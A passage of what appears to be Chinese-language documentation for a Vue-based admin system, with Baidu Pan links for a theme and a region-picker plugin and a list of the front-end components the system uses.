inspinia | inspinia(2.8后台主題bootstrap4.1) | https://pan.baidu.com/s/1wUR7GmjEfe8NsQJ5geaQbw |
Distpicker | Distpicker(v2.0.4省市聯動三級下拉框) | https://pan.baidu.com/s/1kGCWkUx7nsikcKt8oXj4gQ |
二十五、組件文檔
系統使用到的相關組件
基礎框架組件
vue-element-admin(opens new window)
樹形選擇組件
vue-treeselect(opens new window)
富文本編輯器
表格分頁組件
富文本組件
工具欄右側組件
right-toolbar(opens new window)
圖片上傳組件
image-upload(opens new window)
圖片預覽組件
image-preview(opens new window)
文件上傳組件
表單設計組件
form-generator(opens new window)
數據字典組件
vue-data-dict(opens new window)